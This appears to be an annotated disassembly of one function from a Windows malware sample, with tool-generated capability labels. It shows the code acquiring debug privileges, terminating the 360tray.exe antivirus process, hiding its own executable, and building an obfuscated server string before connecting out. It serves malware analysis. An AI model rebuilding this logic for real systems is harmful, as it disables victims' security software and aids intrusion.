Function at 0x4015e0
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Set file attributes
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x403342
push eax
mov dword fs:[0], esp
sub esp, 0x198
lea eax, [esp + 0x84]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
xor ebx, ebx
cmp word [esp + 0x8a], 0xf
jne 0x40162a
push 0x40
push 0x406130
push 0x40611c
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebp
push esi
push edi
push str.360tray.exe
call fcn.00401560
add esp, 4
push eax
push ebx
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x24]
mov esi, eax
push ecx
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [esp + 0x58]
push edx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov edi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push ebx
lea edx, [esp + 0x68]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x2c]
push 0x10
push edx
push 1
push eax
mov dword [esp + 0x78], 1
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], 2
call edi
mov edx, dword [esp + 0x24]
push ebx
push ebx
lea ecx, [esp + 0x8c]
push 0x10
push ecx
push 1
push edx
mov dword [esp + 0x9c], ebx
call edi
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push esi
call edi
push str.360tray.exe
call fcn.00401380
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x40176c
mov ecx, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov ebp, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
push esi
push str._is:
push str.360tray.exe
push str.The_process_ID_for
push ecx
call ebp
add esp, 8
push eax
call ebp
add esp, 8
push eax
call ebp
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
lea edx, [esp + 0x78]
push esi
push edx
call fcn.00401410
push ebx
push ebx
lea eax, [esp + 0x88]
push 0x12
push eax
call fcn.00401520
add esp, 0x1c
push esi
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call edi
mov ecx, dword [esp + 0x78]
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
lea edx, [esp + 0xa4]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xa4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov cl, byte [esp + 0x13]
mov edi, 0x4060d0
mov byte [esp + 0x38], cl
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x40], ebx
mov ebp, ecx
lea ecx, [esp + 0x3c]
push ebp
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x4017ea
mov edi, dword [esp + 0x3c]
mov ecx, ebp
mov edx, ecx
mov esi, 0x4060d0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
lea eax, [esp + 0x54]
mov dword [esp + 0x1b0], ebx
push eax
call fcn.00401220
mov esi, eax
lea ecx, [esp + 0x4c]
mov byte [esp + 0x1b4], 1
push ecx
call fcn.004011d0
add esp, 8
push 0x4060cc
lea edx, [esp + 0x54]
push eax
push edx
mov byte [esp + 0x1bc], 2
call sub.MFC42.DLL_operator_1
push esi
push eax
lea eax, [esp + 0x54]
mov byte [esp + 0x1b8], 3
push eax
call sub.MFC42.DLL_operator_2
mov cl, byte [esp + 0x13]
mov esi, dword [eax]
mov byte [esp + 0x28], cl
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x1b4], 4
mov ebp, ecx
lea ecx, [esp + 0x2c]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x40189a
mov edi, dword [esp + 0x2c]
mov ecx, ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x30], ebp
mov byte [eax + ebp], bl
lea ecx, [esp + 0x4c]
mov byte [esp + 0x1b0], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x50]
mov byte [esp + 0x1b0], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0x1b0], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x54]
mov byte [esp + 0x1b0], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
push connect
lea edx, [esp + 0x3c]
push ecx
push edx
call fcn.00401310
mov al, 0x45
mov cl, 0x52
push 0x9b8d8
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x54
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x28], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], 0x56
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2d], 0x32
mov byte [esp + 0x2e], 0x2e
mov byte [esp + 0x2f], 0x30
mov byte [esp + 0x30], bl
call sub.MFC42.DLL_operatornew
add esp, 0x10
mov dword [esp + 0x70], eax
cmp eax, ebx
mov byte [esp + 0x1b0], 0xa
je 0x401959
mov ecx, eax
call fcn.004029b0
mov esi, eax
jmp 0x40195b
xor esi, esi
mov ecx, esi
mov byte [esp + 0x1b0], 6
call fcn.00402af0
test eax, eax
je 0x40197c
lea eax, [esp + 0x14]
push 0xd
push eax
mov ecx, esi
call fcn.00402d10
mov eax, dword [esi + 0x4dc74]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, ebx
jne 0x401998
push 0x64
call edi
cmp dword [esi + 0x4dc74], ebx
je 0x40198c
cmp dword [esi + 0x4dc74], ebx
je 0x4019a4
push 0x64
call edi
push 0xffffffffffffffff
call edi
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
cmp ecx, ebx
pop ebp
je 0x4019cf
mov al, byte [ecx - 1]
cmp al, bl
je 0x4019c5
cmp al, 0xff
je 0x4019c5
dec al
mov byte [ecx - 1], al
jmp 0x4019cf
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x20], ebx
cmp ecx, ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
je 0x4019ff
mov al, byte [ecx - 1]
cmp al, bl
je 0x4019f5
cmp al, 0xff
je 0x4019f5
dec al
mov byte [ecx - 1], al
jmp 0x4019ff
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x19c]
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a4
ret